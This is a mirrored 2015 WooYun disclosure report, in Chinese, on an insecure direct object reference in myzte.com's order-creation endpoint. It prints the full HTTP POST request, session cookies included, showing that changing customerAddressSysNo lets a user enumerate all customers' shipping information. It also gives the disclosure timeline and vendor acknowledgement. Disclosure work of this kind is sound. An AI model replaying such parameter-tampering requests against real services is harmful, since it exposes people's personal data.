乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-06-24: 细节已通知厂商并且等待厂商处理中 2015-06-24: 厂商已经确认,细节仅向厂商公开 2015-07-04: 细节向核心白帽子及相关领域专家公开 2015-07-14: 细节向普通白帽子公开 2015-07-24: 细节向实习白帽子公开 2015-08-08: 细节向公众公开
http://www.myzte.com存在问题的接口:提交订单的时候缺乏校验,可以通过修改customerAddressSysNo遍历所有收货信息~
POST /Shopping/CreateSO HTTP/1.1Host: www.myzte.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0Accept: */*Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestReferer: http://www.myzte.com/Shopping/Check?IsCorssBoard=0Content-Length: 328Cookie: testcookie=testvalue; ASP.NET_SessionId=ypjzvqc0o3aeky4m4lzm21gn; Hm_lvt_2460548f7273e134eeec7ceec2087037=1435127541; Hm_lpvt_2460548f7273e134eeec7ceec2087037=1435127692; _ga=GA1.2.1905464955.1435127591; _gat=1; CustomerLogin=xiaohuoji124%2cCwFzsooAO8qF0KaLcNLuz6erZxnZEgS3zd%2bscwHrjEXDv5k%2c1%2c1%2c6265667; pageReferrInSession=http%3A//www.myzte.com/Home/Index; firstEnterUrlInSession=http%3A//www.myzte.com/c2-1-48.html; testcookie=testvalue; VisitorCapacity=1; 83D890C968589A859A269C1CAA7CE8ACF74C6479FCDA208FD06C234363CE398E=83D890C968589A859A269C1CAA7CE8ACF74C6479FCDA208FD06C234363CE398E=404D10A4CBD2F5D455AFC6A9DDFBF655; cart=%5b%7b%22PurPlanID%22%3a%22%22%2c%22CreateDate%22%3a%220001-01-01+00%3a00%3a00%22%2c%22LastDate%22%3a%220001-01-01+00%3a00%3a00%22%2c%22IsOrder%22%3a0%2c%22DiscountAmt%22%3a-999999.0%2c%22MasterProductSysNo%22%3a-999999%2c%22IsCountDown%22%3a-999999%2c%22IsSuit%22%3a0%2c%22ProductSysNo%22%3a213%2c%22Quantity%22%3a2%2c%22ExpectQty%22%3a1%2c%22ProductID%22%3a%226934933068216%22%2c%22ProductName%22%3a%22%22%2c%22ProductDisplayName%22%3a%22Grand+SII+%e5%a4%a9%e6%9c%ba%e8%b1%aa%e5%8d%8e%e5%a5%97%e8%a3%85%e7%81%b0%e8%89%b2%e7%89%88+%e8%b5%a0%e9%80%81%e5%a4%a9%e6%9c%ba%e7%9a%ae%e5%a5%97%e3%80%81T630%e8%93%9d%e7%89%99%e8%80%b3%e6%9c%ba%e3%80%818G%e5%86%85%e5%ad%98%e5%8d%a1%e3%80%81P40%e5%85%85%e7%94%b5%e5%ae%9d%22%2c%22CurrentPrice%22%3a-999999.0%2c%22CustomerSysNo%22%3a6265667%2c%22IsBuy%22%3atrue%2c%22FCode%22%3anull%7d%5dConnection: keep-alivePragma: no-cacheCache-Control: no-cachepaytypesysno=4&memo=%E5%B7%A5%E4%BD%9C%E6%97%A5%E9%80%81%E8%B4%A7+%C2%A0%C2%A0%C2%A0%C2%A0%E5%91%A8%E4%B8%80%E8%87%B3%E5%91%A8%E4%BA%94%EF%BC%8C%E6%97%A9%E4%B8%8A9%3A00%E8%87%B3%E6%99%9A6%3A00&areaSysno=410&customerAddressSysNo=40081&invoiceTitle=%E4%B8%AA%E4%BA%BA&invoiceType=2&invoiceNote=%E7%94%B5%E5%AD%90%E6%95%B0%E7%A0%81
危害等级:高
漏洞Rank:10
确认时间:2015-06-24 17:10
感谢~
暂无